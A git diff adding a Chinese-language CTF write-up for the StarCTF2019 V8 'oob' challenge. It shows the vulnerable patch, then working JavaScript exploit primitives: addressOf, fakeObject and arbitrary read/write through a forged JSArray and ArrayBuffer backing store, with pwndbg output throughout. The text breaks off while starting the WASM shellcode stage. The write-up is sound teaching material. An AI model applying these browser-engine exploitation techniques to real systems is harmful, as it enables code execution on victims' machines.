diff --git a/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/README.md b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/README.md new file mode 100644 index 0000000..2076fae --- /dev/null +++ b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/README.md @@ -0,0 +1,953 @@ +# StarCTF2019 OOB + +## 题目分析 + +题目给出一个`diff`​文件,和`commit`​版本号,将V8切换版本,`apply`​后编译即可完成环境搭建。 + +```diff +diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc +index b027d36..ef1002f 100644 +--- a/src/bootstrapper.cc ++++ b/src/bootstrapper.cc +@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle global_object, + Builtins::kArrayPrototypeCopyWithin, 2, false); + SimpleInstallFunction(isolate_, proto, "fill", + Builtins::kArrayPrototypeFill, 1, false); ++ SimpleInstallFunction(isolate_, proto, "oob", ++ Builtins::kArrayOob,2,false); + SimpleInstallFunction(isolate_, proto, "find", + Builtins::kArrayPrototypeFind, 1, false); + SimpleInstallFunction(isolate_, proto, "findIndex", +diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc +index 8df340e..9b828ab 100644 +--- a/src/builtins/builtins-array.cc ++++ b/src/builtins/builtins-array.cc +@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, + return *final_length; + } + } // namespace ++BUILTIN(ArrayOob){ ++ uint32_t len = args.length(); ++ if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); ++ Handle receiver; ++ ASSIGN_RETURN_FAILURE_ON_EXCEPTION( ++ isolate, receiver, Object::ToObject(isolate, args.receiver())); ++ Handle array = Handle::cast(receiver); ++ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); ++ uint32_t length = static_cast(array->length()->Number()); ++ if(len == 1){ ++ //read ++ return *(isolate->factory()->NewNumber(elements.get_scalar(length))); ++ }else{ ++ //write ++ Handle value; ++ ASSIGN_RETURN_FAILURE_ON_EXCEPTION( ++ isolate, value, Object::ToNumber(isolate, args.at(1))); ++ elements.set(length,value->Number()); ++ return ReadOnlyRoots(isolate).undefined_value(); ++ } ++} + + BUILTIN(ArrayPush) { + HandleScope scope(isolate); +diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h +index 0447230..f113a81 100644 +--- a/src/builtins/builtins-definitions.h ++++ b/src/builtins/builtins-definitions.h +@@ -368,6 +368,7 @@ namespace internal { + TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ + /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \ + TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ ++ CPP(ArrayOob) \ + \ + /* ArrayBuffer */ \ + /* ES #sec-arraybuffer-constructor */ \ +diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc +index ed1e4a5..c199e3a 100644 +--- a/src/compiler/typer.cc ++++ b/src/compiler/typer.cc +@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { + return Type::Receiver(); + case Builtins::kArrayUnshift: + return t->cache_->kPositiveSafeInteger; ++ case Builtins::kArrayOob: ++ return Type::Receiver(); + + // ArrayBuffer functions. + case Builtins::kArrayBufferIsView: +``` + +这段`diff`​的意思很明显,为某些JS Object添加内置一个名为`oob`​的内置函数,提供一个元素的越界读写功能。`SimpleInstallFunction(isolate_, proto, "oob", Builtins::kArrayOob,2,false);`​对应到具体源码可以看见,这个宏的第二个参数的定义是`Handle proto = factory->NewJSArray(0, TERMINAL_FAST_ELEMENTS_KIND,AllocationType::kOld);`​因此推测是对所有`JSArray`​的对象添加`.obb()`​方法。 + +## 思路分析 + +通过`%DebugPrint`​打印出来的内容和直接`print`​打印变量得到的内容是不一样的,暂时还不知道原因是什么,但是在进行漏洞利用的时候是通过编写JS代码实现,也就是要使用到变量内的值,所以先给出浮点数和整数相互转换以及16进制打印的代码。 + +```js +let array_buffer = new ArrayBuffer(0x8); +let data_view = new DataView(array_buffer); + +function d2u(value) { + data_view.setFloat64(0, value); + return data_view.getBigUint64(0); +} + +function u2d(value) { + data_view.setBigUint64(0, value); + return data_view.getFloat64(0); +} + +function hex(val) { + return '0x' + val.toString(16).padStart(16, "0"); +} +``` + +简单定义一个JS数组: + +```js +var int_array = [1, 2, 3]; +%DebugPrint(int_array); +%DebugPrint(int_array.oob()); +print("[*] int array map: " + hex(d2u(int_array.oob()))); +``` + +程序运行输出如下结果,可以看出`int_array.oob()`​恰巧是`&int_array[4]`​,暂时不知道为什么是这样的。而通过`print`​输出的正好就是`elements[3]`​的对应的内存值。 + +```c +0x1ac09344e061 +0x1ac09344e081 +[*] int array map: 0x000025b67a800851 + +pwndbg> job 0x1ac09344e061 +0x1ac09344e061: [JSArray] + - map: 0x1a2fc87c2d99 [FastProperties] + - prototype: 0x060546e11111 + - elements: 0x1ac09344df29 [PACKED_SMI_ELEMENTS (COW)] + - length: 3 + - properties: 0x25b67a800c71 { + #length: 0x3afc85dc01a9 (const accessor descriptor) + } + - elements: 0x1ac09344df29 { + 0: 1 + 1: 2 + 2: 3 + } +pwndbg> job 0x1ac09344df29 +0x1ac09344df29: [FixedArray] + - map: 0x25b67a800851 + - length: 3 + 0: 1 + 1: 2 + 2: 3 + +pwndbg> tele 0x1ac09344e060 +00:0000│ 0x1ac09344e060 —▸ 0x1a2fc87c2d99 ◂— 0x4000025b67a8001 +01:0008│ 0x1ac09344e068 —▸ 0x25b67a800c71 ◂— 0x25b67a8008 +02:0010│ 0x1ac09344e070 —▸ 0x1ac09344df29 ◂— 0x25b67a8008 +03:0018│ 0x1ac09344e078 ◂— 0x300000000 +04:0020│ 0x1ac09344e080 —▸ 0x25b67a800561 ◂— 0x2000025b67a8001 +05:0028│ 0x1ac09344e088 —▸ 0x25b67a800851 ◂— 0x25b67a8001 +06:0030│ 0x1ac09344e090 —▸ 0x25b67a800561 ◂— 0x2000025b67a8001 +07:0038│ 0x1ac09344e098 —▸ 0x25b67a800851 ◂— 0x25b67a8001 +pwndbg> tele 0x1ac09344df28 +00:0000│ 0x1ac09344df28 —▸ 0x25b67a800851 ◂— 0x25b67a8001 +01:0008│ 0x1ac09344df30 ◂— 0x300000000 +02:0010│ 0x1ac09344df38 ◂— 0x100000000 +03:0018│ 0x1ac09344df40 ◂— 0x200000000 +04:0020│ 0x1ac09344df48 ◂— 0x300000000 +05:0028│ 0x1ac09344df50 —▸ 0x25b67a800851 ◂— 0x25b67a8001 +06:0030│ 0x1ac09344df58 ◂— 0x400000000 +07:0038│ 0x1ac09344df60 —▸ 0x3afc85dc3b29 ◂— 0x25b67a8009 + +``` + +同时可以看出它在内存的分布是这样的: + +![image](assets/image-20240906225727-w9b7zb0.png) + +​`Elements`​和`JSArray`​是不连续的,打印`&Elements[3]`​后续内存中的一些疑似对象的值: + +```c +pwndbg> job 0x1ac09344df51 +0x1ac09344df51: [FixedArray] + - map: 0x25b67a800851 + - length: 4 + 0: 0x3afc85dc3b29 + 1: 0x1ac09344d041 + 2: 0 + 3: -1 + +pwndbg> job 0x1ac09344df81 +0x1ac09344df81: [ClosureFeedbackCellArray] + - map: 0x25b67a8012c9 + - length: 4 + 0: 1024 + 1: 0x060546e1f7a1 + 2: 0x060546e1f7b1 + 3: 0x060546e1f7c1 + +pwndbg> job 0x1ac09344dfb1 +0x1ac09344dfb1: [Context] + - map: 0x25b67a801279 + - length: 4 + - scope_info: 2 + - previous: 0x060546e173e9 + - extension: 0x060546e1f8b9 + - native_context: 0x25b67a8004d1 + 0: 2 + 1: 0x060546e173e9 + 2: 0x060546e1f8b9 + 3: 0x25b67a8004d1 + +``` + +猜测与代码中`FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());`​的强制类型转换或者某种优化有关系,因此尝试定义一个浮点数组: + +```cpp +var float_array = [1.1, 2.2, 3.3]; +%DebugPrint(float_array); +%DebugPrint(float_array.oob()); +print("[*] float array map: " + hex(d2u(float_array.oob()))); +``` + +调试查看内存值: + +```c +0x313b6468e0c1 +0x313b6468e0e1 +[*] float array map: 0x000006c7ad402ed9 + + +pwndbg> job 0x313b6468e0c1 +0x313b6468e0c1: [JSArray] + - map: 0x06c7ad402ed9 [FastProperties] + - prototype: 0x2e4cc75d1111 + - elements: 0x313b6468e099 [PACKED_DOUBLE_ELEMENTS] + - length: 3 + - properties: 0x0e51cd280c71 { + #length: 0x2906063c01a9 (const accessor descriptor) + } + - elements: 0x313b6468e099 { + 0: 1.1 + 1: 2.2 + 2: 3.3 + } + +pwndbg> tele 0x313b6468e098 10 +00:0000│ 0x313b6468e098 —▸ 0xe51cd2814f9 ◂— 0xe51cd2801 +01:0008│ 0x313b6468e0a0 ◂— 0x300000000 +02:0010│ 0x313b6468e0a8 ◂— 0x3ff199999999999a +03:0018│ 0x313b6468e0b0 ◂— 0x400199999999999a +04:0020│ 0x313b6468e0b8 ◂— 0x400a666666666666 ('ffffff\n@') +05:0028│ 0x313b6468e0c0 —▸ 0x6c7ad402ed9 ◂— 0x400000e51cd2801 +06:0030│ 0x313b6468e0c8 —▸ 0xe51cd280c71 ◂— 0xe51cd2808 +07:0038│ 0x313b6468e0d0 —▸ 0x313b6468e099 ◂— 0xe51cd2814 +08:0040│ 0x313b6468e0d8 ◂— 0x300000000 +09:0048│ 0x313b6468e0e0 —▸ 0xe51cd280561 ◂— 0x200000e51cd2801 +``` + +可以发现这次`JSArray`​与`DoubleFixedArray`​在内存中是连续的,而且后者在前者的低地址处,因此`oob`​就可以读写`JSArray`​的`Map`​指针,从而进行类型混淆。 + +![image](assets/image-20240906225659-xrurxjk.png) + +## 构造原语 + +### AddressOf和FakeObject原语 + +首先根据类型混淆可以构造出`AddressOf`​: + +首先构造`AddressOf`​原语: + +```js +var obj = new Object(); +var object_array = [obj]; +var object_array_map = object_array.oob(); +var float_array = [1.1]; +var float_array_map = float_array.oob(); +function addressOf(obj) { + float_array.oob(object_array_map); + float_array[0] = obj; + float_array.oob(float_array_map); + return d2u(float_array[0]); +} +``` + +该原语将任意对象的指针填入`float_array[0]`​,并欺骗V8引擎在读写(代码8、10行)数组的过程中正确处理变量类型,而不造成变量类型的变化。举个简单的例子,如果不经过类型混淆,直接调用`float_array[0] = obj`​,由于JS弱类型/动态类型的特性,这并不会报错,但是`float_array`​的`Map`​指针会指向一个新的类型: + +```js +var obj = new Object(); +var float_array = [1.1]; +%DebugPrint(float_array); +%SystemBreak(); +float_array[0] = obj; +%DebugPrint(float_array); +%SystemBreak(); +``` + +第一次断点: + +```c +pwndbg> job 0x2907e2b0e0a1 +0x2907e2b0e0a1: [JSArray] + - map: 0x0ddb61d02ed9 [FastProperties] + - prototype: 0x179d4ae91111 + - elements: 0x2907e2b0e089 [PACKED_DOUBLE_ELEMENTS] + - length: 1 + - properties: 0x3d3fed280c71 { + #length: 0x2605401801a9 (const accessor descriptor) + } + - elements: 0x2907e2b0e089 { + 0: 1.1 + } +``` + +第二次断点: + +```c +pwndbg> job 0x2907e2b0e0a1 +0x2907e2b0e0a1: [JSArray] + - map: 0x0ddb61d02f79 [FastProperties] + - prototype: 0x179d4ae91111 + - elements: 0x2907e2b0e0c1 [PACKED_ELEMENTS] + - length: 1 + - properties: 0x3d3fed280c71 { + #length: 0x2605401801a9 (const accessor descriptor) + } + - elements: 0x2907e2b0e0c1 { + 0: 0x2907e2b0e051 + } + +``` + +可以明显看出`float_array`​的结构发生了变化,这种性质导致无法直接通过修改数组存储的对象的方式获取到对象的地址。 + +而对于`AddressOf`​原语下断点分析: + +```js +var obj = new Object(); +var object_array = [obj]; +var object_array_map = object_array.oob(); +var float_array = [1.1]; +var float_array_map = float_array.oob(); +function addressOf(obj) { + %SystemBreak(); + float_array.oob(object_array_map); + %SystemBreak(); + float_array[0] = obj; + float_array.oob(float_array_map); + return d2u(float_array[0]); +} +%DebugPrint(obj); +%DebugPrint(float_array); +print("[*] Address of obj is " + hex(d2u(addressOf(obj)))); +%SystemBreak(); +``` + +第一次断点: + +```js +0x05294860e1b9 +0x05294860e251 +Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap. + +pwndbg> job 0x05294860e251 +0x5294860e251: [JSArray] + - map: 0x3a83e7c42ed9 [FastProperties] + - prototype: 0x2ecf8a0d1111 + - elements: 0x05294860e239 [PACKED_DOUBLE_ELEMENTS] + - length: 1 + - properties: 0x028849c40c71 { + #length: 0x0b166b2801a9 (const accessor descriptor) + } + - elements: 0x05294860e239 { + 0: 1.1 + } +Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap. + +pwndbg> job 0x05294860e251 +0x5294860e251: [JSArray] + - map: 0x3a83e7c42f79 [FastProperties] + - prototype: 0x2ecf8a0d1111 + - elements: 0x05294860e239 [PACKED_ELEMENTS] + - length: 1 + - properties: 0x028849c40c71 { + #length: 0x0b166b2801a9 (const accessor descriptor) + } + - elements: 0x05294860e239 { + 0: 1072798105 + } +Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap. + +[*] Address of obj is 0x000005294860e1b9 + +pwndbg> tele 0x05294860e238 +00:0000│ 0x5294860e238 —▸ 0x28849c414f9 ◂— 0x28849c401 +01:0008│ 0x5294860e240 ◂— 0x100000000 +02:0010│ 0x5294860e248 —▸ 0x5294860e1b9 ◂— 0x7100003a83e7c404 +03:0018│ 0x5294860e250 —▸ 0x3a83e7c42ed9 ◂— 0x40000028849c401 +04:0020│ 0x5294860e258 —▸ 0x28849c40c71 ◂— 0x28849c408 +05:0028│ 0x5294860e260 —▸ 0x5294860e239 ◂— 0x28849c414 +06:0030│ 0x5294860e268 ◂— 0x100000000 +07:0038│ 0x5294860e270 —▸ 0x28849c40561 ◂— 0x20000028849c401 +pwndbg> job 0x5294860e1b9 +0x5294860e1b9: [JS_OBJECT_TYPE] + - map: 0x3a83e7c40459 [FastProperties] + - prototype: 0x2ecf8a0c2091 + - elements: 0x028849c40c71 [HOLEY_ELEMENTS] + - properties: 0x028849c40c71 {} +``` + +可以看出`float_array`​和其`Elements`​的类型均未改变,只是`Element[0]`​被修改为`obj`​的地址。由此即构造出`AddressOf`​原语,同理我们可以构造出`FakeObject`​原语: + +```js +function fakeObject(addr) { + object_array.oob(float_array_map); + object_array[0] = u2d(addr | 1n); + object_array.oob(object_array_map); + return object_array[0]; +} +``` + +该原语将伪造的对象的首地址填入`object_array[0]`​,这样访问`object_array[0]`​的时候就相当于在访问任意伪造的对象了。 + +### 任意读任意写原语 + +接着构造任意读和任意写的原语,最朴素的思路是通过JS数组伪造一个假的对象,利用`FakeObject`​原语将这个假的对象首地址填入`object_array[0]`​,这样操作`object_array[0]`​就是在操作`Fake JSArray`​,通过`object_array[0][0]`​修改`Elements`​指针,通过`object_array[0][1]`​修改`Length`​长度。再通过`attack_array`​即可实现对`Elements+0x10`​后地址的任意地址读写。 + +![image](assets/image-20240906225429-i1x9wdb.png) + +实际上在内存中可以观察到`target_array`​的`JSArray`​恰好位于`FixedArray`​的连续的低地址处,因此可以获得以下构造: + +```js +var x = [6, 6, 6, 6]; +var x_addr = addressOf(x); +var attack_array = [1, 2, 3]; +var attack_addr = addressOf(attack_array); +var target_array = [ + float_array_map, // fake map + 0, // fake properties + u2d(attack_addr+0x10n), // fake elements + u2d(0xdeadbeefn << 32n), // fake length +]; +var target_addr = addressOf(target_array); +%DebugPrint(x); +%DebugPrint(attack_array); +%DebugPrint(object_array); +%DebugPrint(target_array); +%SystemBreak(); +fake_object = fakeObject(target_addr+0x30n); +%DebugPrint(target_array); +%SystemBreak(); +fake_object[0] = u2d(x_addr | 1n); +fake_object[1] = u2d(0x200n << 32n); + +%DebugPrint(target_array); +%DebugPrint(object_array); +%SystemBreak(); +``` + +第一次断点时查看`object_array`​,其内部存着一个空对象: + +```js +0x07327d94ee31 +0x07327d94eee1 +0x07327d94edb9 +0x07327d94ef89 + +pwndbg> job 0x07327d94edb9 +0x7327d94edb9: [JSArray] + - map: 0x0981e18c2f79 [FastProperties] + - prototype: 0x191edf611111 + - elements: 0x07327d94eda1 [PACKED_ELEMENTS] + - length: 1 + - properties: 0x0f12fff80c71 { + #length: 0x0a6ddeb001a9 (const accessor descriptor) + } + - elements: 0x07327d94eda1 { + 0: 0x07327d94ed69 + } + +pwndbg> job 0x07327d94ed69 +0x7327d94ed69: [JS_OBJECT_TYPE] + - map: 0x0981e18c0459 [FastProperties] + - prototype: 0x191edf602091 + - elements: 0x0f12fff80c71 [HOLEY_ELEMENTS] + - properties: 0x0f12fff80c71 {} + +``` + +将`fake_obj`​填入`object_array`​,成功伪造与`float_array`​具有相同`Map`​的对象: + +```js +pwndbg> job 0x07327d94edb9 +0x7327d94edb9: [JSArray] + - map: 0x0981e18c2f79 [FastProperties] + - prototype: 0x191edf611111 + - elements: 0x07327d94eda1 [PACKED_ELEMENTS] + - length: 1 + - properties: 0x0f12fff80c71 { + #length: 0x0a6ddeb001a9 (const accessor descriptor) + } + - elements: 0x07327d94eda1 { + 0: 0x07327d94efb9 + } +pwndbg> job 0x07327d94ef89 +0x7327d94ef89: [JSArray] + - map: 0x0981e18c2ed9 [FastProperties] + - prototype: 0x191edf611111 + - elements: 0x07327d94efa9 [PACKED_DOUBLE_ELEMENTS] + - length: 4 + - properties: 0x0f12fff80c71 { + #length: 0x0a6ddeb001a9 (const accessor descriptor) + } + - elements: 0x07327d94efa9 { + 0: 5.16469e-311 + 1: 0 + 2: 3.90976e-311 + 3: -1.1886e+148 + } +pwndbg> tel 0x07327d94efa8 +00:0000│ 0x7327d94efa8 —▸ 0xf12fff814f9 ◂— 0xf12fff801 +01:0008│ 0x7327d94efb0 ◂— 0x400000000 +02:0010│ 0x7327d94efb8 —▸ 0x981e18c2ed9 ◂— 0x400000f12fff801 +03:0018│ 0x7327d94efc0 ◂— 0 +04:0020│ 0x7327d94efc8 —▸ 0x7327d94eef1 ◂— 0x7327d94e3 +05:0028│ 0x7327d94efd0 ◂— 0xdeadbeef00000000 +06:0030│ 0x7327d94efd8 —▸ 0xf12fff813b9 ◂— 0xf12fff801 +07:0038│ 0x7327d94efe0 ◂— 2 +pwndbg> job 0xf12fff814f9 +0xf12fff814f9: [Map] + - type: FIXED_DOUBLE_ARRAY_TYPE + - instance size: variable + - elements kind: HOLEY_DOUBLE_ELEMENTS + - unused property fields: 0 + - enum length: invalid + - stable_map + - back pointer: 0x0f12fff804d1 + - prototype_validity cell: 0 + - instance descriptors (own) #0: 0x0f12fff80259 + - layout descriptor: (nil) + - prototype: 0x0f12fff801d9 + - constructor: 0x0f12fff801d9 + - dependent code: 0x0f12fff802c1 + - construction counter: +pwndbg> job 0x981e18c2ed9 +0x981e18c2ed9: [Map] + - type: JS_ARRAY_TYPE + - instance size: 32 + - inobject properties: 0 + - elements kind: PACKED_DOUBLE_ELEMENTS + - unused property fields: 0 + - enum length: invalid + - back pointer: 0x0981e18c2e89 + - prototype_validity cell: 0x0a6ddeb00609 + - instance descriptors #1: 0x191edf611f49 + - layout descriptor: (nil) + - transitions #1: 0x191edf611eb9 Transition array #1: + 0x0f12fff84ba1 : (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0981e18c2f29 + + - prototype: 0x191edf611111 + - constructor: 0x191edf610ec1 + - dependent code: 0x0f12fff802c1 + - construction counter: 0 + +``` + +但是使用`job 0x07327d94efb9`​会报错: + +```js +# +# Fatal error in , line 0 +# unreachable code +# +# +# +#FailureMessage Object: 0x7ffe1f3cb270 +==== C stack trace =============================== + + /home/v8/v8/out.gn/x64.release/d8(v8::base::debug::StackTrace::StackTrace()+0x13) [0x5621f57e2903] + /home/v8/v8/out.gn/x64.release/d8(+0x1107edb) [0x5621f57e1edb] + /home/v8/v8/out.gn/x64.release/d8(V8_Fatal(char const*, int, char const*, ...)+0x148) [0x5621f57dc8e8] + /home/v8/v8/out.gn/x64.release/d8(+0xc416dc) [0x5621f531b6dc] + /home/v8/v8/out.gn/x64.release/d8(v8::internal::HeapObject::HeapObjectShortPrint(std::__1::basic_ostream >&)+0xa9) [0x5621f529bc49] + /home/v8/v8/out.gn/x64.release/d8(v8::internal::operator<<(std::__1::basic_ostream >&, v8::internal::Brief const&)+0x7c) [0x5621f528f89c] + /home/v8/v8/out.gn/x64.release/d8(+0xbaab7b) [0x5621f5284b7b] + /home/v8/v8/out.gn/x64.release/d8(v8::internal::HeapObject::HeapObjectPrint(std::__1::basic_ostream >&)+0x9a3) [0x5621f5276003] + /home/v8/v8/out.gn/x64.release/d8(v8::internal::Object::Print(std::__1::basic_ostream >&) const+0xc0) [0x5621f52755c0] + /home/v8/v8/out.gn/x64.release/d8(v8::internal::Object::Print() const+0x3e) [0x5621f52753ce] + /home/v8/v8/out.gn/x64.release/d8(_v8_internal_Print_Object(void*)+0x15) [0x5621f5286f95] + [0x7ffe1f3cbbef] + +Thread 1 "d8" received signal SIGILL, Illegal instruction. +0x00005621f57dff32 in v8::base::OS::Abort() () +#2 0x00005621f531b6dc in v8::internal::String::StringShortPrint(v8::internal::StringStream*, bool) () +``` + +继续运行也会报错: + +```js +pwndbg> c +Continuing. +Received signal 4 ILL_ILLOPN 5621f57dff32 + +Thread 1 "d8" received signal SIGILL, Illegal instruction. +``` + +据说是因为`FixedDoubleArray`​在进行数组访问时会要`Elements`​指向的范围是否在堆地址范围内,伪造浮点数数组操作时会触发`Inline Cache`​。 + +但是可以使用`ArrayBuffer`​ 和 `DataView`​ 来构造任意地址读写,首先看看这两个结构在内存中的表示: + +```js +let array_buffer = new ArrayBuffer(0x20); +let data_view = new DataView(array_buffer); + +%DebugPrint(array_buffer); +%DebugPrint(data_view); +%SystemBreak(); +``` + +查看内存值: + +```js +0x3f16f0c0e9e9 +0x3f16f0c0ea29 + +pwndbg> job 0x3f16f0c0e9e9 +0x3f16f0c0e9e9: [JSArrayBuffer] + - map: 0x379033d821b9 [FastProperties] + - prototype: 0x395697cce981 + - elements: 0x3a00cefc0c71 [HOLEY_ELEMENTS] + - embedder fields: 2 + - backing_store: 0x55f06c896c50 + - byte_length: 32 + - detachable + - properties: 0x3a00cefc0c71 {} + - embedder fields = { + 0, aligned pointer: (nil) + 0, aligned pointer: (nil) + } +pwndbg> tel 0x3f16f0c0e9e8 +00:0000│ 0x3f16f0c0e9e8 —▸ 0x379033d821b9 ◂— 0x800003a00cefc01 +01:0008│ 0x3f16f0c0e9f0 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08 +02:0010│ 0x3f16f0c0e9f8 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08 +03:0018│ 0x3f16f0c0ea00 ◂— 0x20 /* ' ' */ +04:0020│ 0x3f16f0c0ea08 —▸ 0x55f06c896c50 ◂— 0 +05:0028│ 0x3f16f0c0ea10 ◂— 2 +06:0030│ 0x3f16f0c0ea18 ◂— 0 +07:0038│ 0x3f16f0c0ea20 ◂— 0 + +pwndbg> x/8gx 0x55f06c896c50-0x10 +0x55f06c896c40: 0x000000000000022f 0x0000000000000031 +0x55f06c896c50: 0x0000000000000000 0x0000000000000000 +0x55f06c896c60: 0x0000000000000000 0x0000000000000000 +0x55f06c896c70: 0x0000000000000000 0x0000000000000031 +``` + +因此`ArrayBuffer`​在内存中的布局如下,其中`Backing_length`​不是`HeapObject`​对象,而是直接由堆管理器分配的一个堆快,在`Chrome`​中是`PartitionAlloc`​,在`d8`​中是`ptmalloc2`​。如果能够修改`Backing_store`​指针,就可以实现任意地址读写,这也是常用的利用手法。 + +![image](assets/image-20240906235307-v5p2br7.png) + +​`ArrayBuffer`​是维护`Backing_store`​内存区的抽象类,其读写必须依赖于`TypedArray`​或`DataView`​,从下图中很容易看出他们之间的继承关系: + +![image](assets/image-20240906234540-augcj8g.png) + +这里先分析`DataView`​的结构: + +```js +pwndbg> job 0x3f16f0c0ea29 +0x3f16f0c0ea29: [JSDataView] + - map: 0x379033d81719 [FastProperties] + - prototype: 0x395697ccaff9 + - elements: 0x3a00cefc0c71 [HOLEY_ELEMENTS] + - embedder fields: 2 + - buffer =0x3f16f0c0e9e9 + - byte_offset: 0 + - byte_length: 32 + - properties: 0x3a00cefc0c71 {} + - embedder fields = { + 0, aligned pointer: (nil) + 0, aligned pointer: (nil) + } +pwndbg> tel 0x3f16f0c0ea28 +00:0000│ 0x3f16f0c0ea28 —▸ 0x379033d81719 ◂— 0x800003a00cefc01 +01:0008│ 0x3f16f0c0ea30 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08 +02:0010│ 0x3f16f0c0ea38 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08 +03:0018│ 0x3f16f0c0ea40 —▸ 0x3f16f0c0e9e9 ◂— 0x710000379033d821 +04:0020│ 0x3f16f0c0ea48 ◂— 0 +05:0028│ 0x3f16f0c0ea50 ◂— 0x20 /* ' ' */ +06:0030│ 0x3f16f0c0ea58 ◂— 0 +07:0038│ 0x3f16f0c0ea60 ◂— 0 +``` + +在内存中的示意图: + +![image](assets/image-20240906235316-qpfqxdd.png) + +因此我们就可以得到类似的任意地址写的策略,利用`Elements`​修改`ab1`​的`BackingStore`​,指向`ab2`​的`BackingStore`​,需要任意地址写的时候通过`ab1`​修改`ab2`​的`BackingStore`​为任意地址,通过`ab2`​进行任意地址写,`DataView`​只是`ArrayBuffer`​的一层接口包装,无需在构造时考虑: + +![image](assets/image-20240907004342-krfbgep.png) + +通过上图构造编写如下代码: + +```js +var ab1 = new ArrayBuffer(0x8); +var ab2 = new ArrayBuffer(0x1000); +var dv1 = new DataView(ab1); +var dv2 = new DataView(ab2); +var ab1_backing_store_addr = addressOf(ab1) + 0x20n; +var ab2_backing_store_addr = addressOf(ab2) + 0x20n; + + +float_array_mem = [ + float_array_map, + 0, + u2d(ab1_backing_store_addr - 0x10n), + u2d(0xdeadbeefn << 32n) +]; + +float_mem_addr = addressOf(float_array_mem); +fake_array = fakeObject(float_mem_addr + 0x30n); + +fake_array[0] = u2d(ab2_backing_store_addr - 1n); +%DebugPrint(ab1); +%DebugPrint(ab2); +%DebugPrint(fake_array); +%SystemBreak(); +``` + +调试发现确实修改到的`ab1`​的`BackingStore`​属性并将其指向`ab2`​的`BackingStore`​: + +```js +0x0bbd8c44ed61 +0x0bbd8c44eda1 +0x0bbd8c44efe9 + +pwndbg> job 0x0bbd8c44efe9 +0xbbd8c44efe9: [JSArray] + - map: 0x101468c42ed9 [FastProperties] + - prototype: 0x27a91ed91111 + - elements: 0x0bbd8c44ed71 [PACKED_DOUBLE_ELEMENTS] + - length: -559038737 + - properties: { + #length: 0x16d085c801a9 (const accessor descriptor) + } +pwndbg> job 0x0bbd8c44ed61 +0xbbd8c44ed61: [JSArrayBuffer] + - map: 0x101468c421b9 [FastProperties] + - prototype: 0x27a91ed8e981 + - elements: 0x159a28e40c71 [HOLEY_ELEMENTS] + - embedder fields: 2 + - backing_store: 0xbbd8c44edc0 + - byte_length: 8 + - detachable + - properties: 0x159a28e40c71 {} + - embedder fields = { + 0, aligned pointer: (nil) + 0, aligned pointer: (nil) + } +pwndbg> tel 0x0bbd8c44eda0 +00:0000│ 0xbbd8c44eda0 —▸ 0x101468c421b9 ◂— 0x80000159a28e401 +01:0008│ 0xbbd8c44eda8 —▸ 0x159a28e40c71 ◂— 0x159a28e408 +02:0010│ 0xbbd8c44edb0 —▸ 0x159a28e40c71 ◂— 0x159a28e408 +03:0018│ 0xbbd8c44edb8 ◂— 0x1000 +04:0020│ 0xbbd8c44edc0 —▸ 0x5606fd7c9600 ◂— 0 +05:0028│ 0xbbd8c44edc8 ◂— 2 +06:0030│ 0xbbd8c44edd0 ◂— 0 +07:0038│ 0xbbd8c44edd8 ◂— 0 + +``` + +之后的读写原语就很容易构造: + +```js +function arb_read_qword(addr) { + dv1.setBigUint64(0, addr, true); + return dv2.getBigUint64(0, true); +} + +function arb_write_qword(addr, value) { + dv1.setBigUint64(0, addr, true); + return dv2.setBigUint64(0, value, true); +} +``` + +还有一种直接伪造`ArrayBuffer`​的方式: + +![image](assets/image-20240907011413-87xf3t5.png) + +这种方式关键在于`Fake Map`​的伪造,这种方式能够实现在于`Type`​字段是硬编码的,可以从内存中直接获取,至于为何不直接使用`oob`​获取,是因为`Dataview`​并不是`Array`​类型,不具有`oob`​函数。 + +```js +var float_ab_mem = [ + u2d(0n), // Map + u2d(0n), // Properties + u2d(0n), // Elements + u2d(0x1000n << 32n), // ByteLength + u2d(0n), // BackingStore + u2d(0n), // Map + u2d(0x1900042319080808n), // Type +]; + +%DebugPrint(float_ab_mem); +%SystemBreak(); +var fake_ab_addr = addressOf(float_ab_mem) + 0x58n; +float_ab_mem[0] = u2d(fake_ab_addr + 0x28n); +var fake_ab = fakeObject(fake_ab_addr); +var fake_dv = new DataView(fake_ab); + +function arb_read_qword(addr) { + float_ab_mem[4] = u2d(addr); + return fake_dv.getBigUint64(0, true); +} + +function arb_write_qword(addr, value) { + float_ab_mem[4] = u2d(addr); + return fake_dv.setBigUint64(0, value, true); +} +``` + +## 劫持程序执行流 + +### 利用WASM写ShellCode + +低版本的V8在运行WASM时会生成`rwx`​的内存段,向内部写入shellcode即可控制程序执行流。直接在内存中搜索shellcode的首地址,找到后发现就是`WebAssembly.Instance`​的地址固定偏移处的地址: + +```js +pwndbg> search -8 0x29e6f35e7000 +Searching for value: b'\x00p^\xf3\xe6)\x00\x00' +[anon_9c1ffec0] 0x9c1ffee1728 0x29e6f35e7000 +[heap] 0x55d560baec48 0x29e6f35e7000 +[heap] 0x55d560baecb0 0x29e6f35e7000 +[heap] 0x55d560baecd0 0x29e6f35e7000 +[heap] 0x55d560bb7e30 0x29e6f35e7000 + +pwndbg> distance 0x09c1ffee16a1 